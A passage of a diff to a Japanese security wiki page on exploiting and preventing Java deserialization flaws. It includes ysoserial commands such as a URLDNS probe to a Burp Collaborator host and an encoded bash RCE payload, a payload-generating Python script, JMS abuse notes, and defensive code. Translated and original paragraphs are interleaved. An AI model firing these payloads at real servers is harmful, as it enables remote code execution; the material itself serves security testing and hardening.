もし**JavaのDeserializationエクスプロイトの仕組みを学びたい場合は**、[**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)を参照してください。
|
||||
|
||||
#### SignedObject-gated deserialization and pre-auth reachability
|
||||
|
||||
モダンなコードベースでは、deserializationを`java.security.SignedObject`でラップし、`getObject()`(内部オブジェクトをdeserializesする)を呼ぶ前に署名を検証することがあります。これは任意のトップレベルのgadget classesを防ぎますが、攻撃者が有効な署名を取得できる(例: private-key compromise や signing oracle)場合には依然として悪用可能です。さらに、エラーハンドリングのフローによって認証されていないユーザー向けにsession-bound tokensが発行され、通常は保護されているsinksがpre-authで露出することがあります。
|
||||
|
||||
For a concrete case study with requests, IoCs, and hardening guidance, see:
|
||||
|
||||
{{#ref}}
|
||||
java-signedobject-gated-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
#### ホワイトボックステスト
|
||||
|
||||
@ -410,35 +426,35 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
||||
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
|
||||
**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
|
||||
You could try to **すべてのライブラリをチェック** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
|
||||
When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
|
||||
|
||||
#### ブラックボックステスト
|
||||
|
||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**でしょう。\
|
||||
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||
GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
|
||||
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
|
||||
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe is focused on **`ObjectInputStream` deserializations**.
|
||||
|
||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、**それらをエクスプロイト**できます。\
|
||||
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
|
||||
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
|
||||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
|
||||
|
||||
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。\
|
||||
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
|
||||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**シリアライズテスト**
|
||||
**Serialization Test**
|
||||
|
||||
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません**(ウェブアプリ内で管理者権限を付与するかもしれません)。\
|
||||
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で表示することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスすることが容易になります。
|
||||
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
|
||||
If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
|
||||
|
||||
### **エクスプロイト**
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
|
||||
私は**RCEペイロードの前に「URLDNS」ペイロードを使用することをお勧めします**。注目すべきは、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることです。
|
||||
The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
|
||||
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
|
||||
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -483,9 +499,11 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような特殊文字を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース**で区切られた**引数**をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするためには、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html)を使用することができます。
|
||||
When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
次のスクリプトを使用して、Windows と Linux のための**すべての可能なコード実行**ペイロードを作成し、脆弱なウェブページでテストしてください:
|
||||
java.lang.Runtime.exec() 用の **payload** を作成する際、実行の出力をリダイレクトするための「>」や「|」のような特殊文字や、コマンドを実行するための "$()"、または **spaces** で区切られた **pass arguments** のようなものを使用することはできません(`echo -n "hello world"` のようなことはできますが、`python2 -c 'print "Hello world"'` のようなことはできません)。payload を正しくエンコードするには、[use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html) を参照してください。
|
||||
|
||||
次のスクリプトを使って、Windows と Linux 向けの **all the possible code execution** payloads を作成し、脆弱なウェブページでテストしてください:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -508,12 +526,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
あなたは**https://github.com/pwntester/SerialKillerBypassGadgetCollection**を**ysoserialと一緒に使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された**トークのスライド**にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
このツール [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) を **ysoserial と併用して** より多くの exploits を作成することができます。
|
||||
このツールについての詳細は、ツールが紹介された講演の **スライド** にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
|
||||
プロジェクトをコンパイルするために、私は`pom.xml`にこの**依存関係**を**追加する必要がありました**:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) は Java の様々な **Json** および **Yml** シリアライゼーションライブラリを悪用するための payloads を生成するのに使用できます。\
|
||||
プロジェクトをコンパイルするために、`pom.xml` にこれらの **依存関係** を **追加** する必要がありました:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -528,57 +547,57 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Mavenをインストール**し、**プロジェクトをコンパイル**します:
|
||||
**maven をインストール**し、**プロジェクトをコンパイル**してください:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
このJava JSONライブラリについての詳細は、こちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
この Java JSON ライブラリの詳細: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
### ラボ
|
||||
|
||||
- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行**できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- ysoserial のペイロードをテストしたい場合、**この webapp を実行する**ことができます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
### なぜ
|
||||
|
||||
Javaはさまざまな目的で多くのシリアル化を使用します:
|
||||
Java は以下のような様々な目的で serialization を多用します:
|
||||
|
||||
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
|
||||
- **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
|
||||
- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
|
||||
- **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
|
||||
- **カスタムプロトコル**: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
|
||||
- **HTTP requests**: Serialization はパラメータ、ViewState、cookies 等の管理で広く使われます。
|
||||
- **RMI (Remote Method Invocation)**: Java RMI プロトコルは完全に serialization に依存しており、Java アプリケーションのリモート通信の基盤です。
|
||||
- **RMI over HTTP**: Java ベースの thick client web アプリケーションで一般的に使われ、すべてのオブジェクト通信に serialization を利用します。
|
||||
- **JMX (Java Management Extensions)**: JMX はオブジェクトをネットワーク経由で送信する際に serialization を利用します。
|
||||
- **Custom Protocols**: Java では、生の Java オブジェクトを送信するのが標準的な慣行であり、これは後の exploit 例で示されます。
|
||||
|
||||
### Prevention
|
||||
### 対策
|
||||
|
||||
#### Transient objects
|
||||
|
||||
`Serializable`を実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトを`transient`として実装できます。例えば:
|
||||
`Serializable` を実装するクラスは、シリアライズされるべきでないクラス内のオブジェクトを `transient` として宣言できます。例えば:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Serializableを実装する必要があるクラスのシリアル化を避ける
|
||||
#### Serializable を実装する必要があるクラスの Serialization を回避する
|
||||
|
||||
特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final`な`readObject()`メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
|
||||
クラス階層のために特定の **オブジェクトが `Serializable` を実装しなければならない** 場合、意図しない deserialization のリスクがあります。これを防ぐには、これらのオブジェクトを non-deserializable にするために、常に例外を投げる `final` な `readObject()` メソッドを定義してください。以下のように:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Javaにおけるデシリアライズセキュリティの強化**
|
||||
#### **Java におけるデシリアライゼーションのセキュリティ強化**
|
||||
|
||||
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています:
|
||||
**Customizing `java.io.ObjectInputStream`** は、デシリアライゼーション処理を保護するための実用的なアプローチです。次の場合に有効です:
|
||||
|
||||
- デシリアライズコードがあなたの管理下にある。
|
||||
- デシリアライズのために期待されるクラスが知られている。
|
||||
- デシリアライズ処理のコードがあなたの管理下にある場合。
|
||||
- デシリアライズ対象となるクラスが既知である場合。
|
||||
|
||||
**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています:
|
||||
デシリアライズを許可されたクラスのみに制限するために、**`resolveClass()`** メソッドをオーバーライドします。これにより、明示的に許可されたクラス(例えば下記の例のように `Bicycle` クラスのみ)以外のクラスのデシリアライズが防止されます:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -599,17 +618,17 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合の代替ソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します:
|
||||
**Using a Java Agent for Security Enhancement** は、コードの変更が不可能な場合のフォールバックソリューションを提供します。この方法は主に **blacklisting harmful classes** に適用され、JVM パラメータを使用します:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。
|
||||
コードの即時変更が現実的でない環境に適した、deserialization を動的に保護する方法を提供します。
|
||||
|
||||
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)の例を確認してください。
|
||||
例は [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) を参照してください。
|
||||
|
||||
**シリアライゼーションフィルターの実装**: Java 9は**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターを導入し、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
|
||||
**Implementing Serialization Filters**: Java 9 は **`ObjectInputFilter`** インターフェースを通じて serialization filters を導入しました。これは、serialized objects が deserialized される前に満たすべき条件を指定するための強力な仕組みを提供します。これらのフィルタはグローバルに、またはストリーム単位で適用でき、deserialization プロセスに対して細かな制御を可能にします。
|
||||
|
||||
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:
|
||||
serialization filters を利用するには、すべての deserialization 操作に適用されるグローバルフィルタを設定するか、特定のストリーム向けに動的に構成できます。例えば:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -621,42 +640,42 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。
|
||||
**外部ライブラリを活用したセキュリティ強化**: **NotSoSerial**, **jdeserialize**, **Kryo** のようなライブラリは、Javaのデシリアライズを制御・監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリスト/ブラックリスト化、デシリアライズ前のシリアライズオブジェクトの解析、カスタムなシリアライゼーション戦略の実装など、追加のセキュリティ層を提供できます。
|
||||
|
||||
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスを傍受します。
|
||||
- **jdeserialize**は、デシリアライズせずにシリアライズされたJavaオブジェクトを分析できるため、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
|
||||
- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
|
||||
- **NotSoSerial** はデシリアライズ処理を介入して、信頼できないコードの実行を防ぎます。
|
||||
- **jdeserialize** はオブジェクトを実際にデシリアライズせずにシリアライズされたJavaオブジェクトを解析でき、潜在的に悪意のある内容の特定に役立ちます。
|
||||
- **Kryo** は高速性と効率性を重視した代替のシリアライゼーションフレームワークで、設定可能なシリアライゼーション戦略によりセキュリティを強化できます。
|
||||
|
||||
### 参考文献
|
||||
### 参考資料
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) とスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDIインジェクション & log4Shell
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか(およびこの脆弱性の例)**については、以下のページを参照してください:
|
||||
以下のページで、**JNDI Injection が何か、RMI, CORBA & LDAP を介してそれを悪用する方法、および log4shell をどのようにエクスプロイトするか**(およびこの脆弱性の例)を確認してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
{{#endref}}
|
||||
|
||||
## JMS - Javaメッセージサービス
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
> **Java Message Service**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaのメッセージ指向ミドルウェアAPIです。producer–consumer 問題を扱うための実装です。JMS は Java Platform, Enterprise Edition (Java EE) の一部であり、もともとは Sun Microsystems によって定義された仕様によって策定され、その後は Java Community Process によって導かれてきました。これは、Java EE ベースのアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を疎結合、信頼性のある、非同期なものにします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
|
||||
### 製品
|
||||
|
||||
このミドルウェアを使用してメッセージを送信する製品はいくつかあります:
|
||||
メッセージ送信にこのミドルウェアを使用している製品がいくつかあります:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -664,59 +683,59 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### 悪用
|
||||
|
||||
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるオブジェクトを送信できる可能性があります**。\
|
||||
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
|
||||
要するに、JMS を危険な形で使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための十分な権限(通常は有効な資格情報が必要)を持っている場合、**consumer/subscriber によってデシリアライズされる悪意のあるシリアライズ済みオブジェクト**を送信できる可能性があります。\
|
||||
これは、この悪用においてそのメッセージを使用するすべての**クライアントが感染する**ことを意味します。
|
||||
|
||||
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
|
||||
サービスが脆弱(ユーザー入力を安全でない方法でデシリアライズしている)であっても、脆弱性を悪用するには有効なガジェットを見つける必要があることを忘れてはいけません。
|
||||
|
||||
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
ツール [JMET](https://github.com/matthiaskaiser/jmet) は、既知のガジェットを使って複数の悪意のあるシリアライズ済みオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
|
||||
### 参考文献
|
||||
### 参考資料
|
||||
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
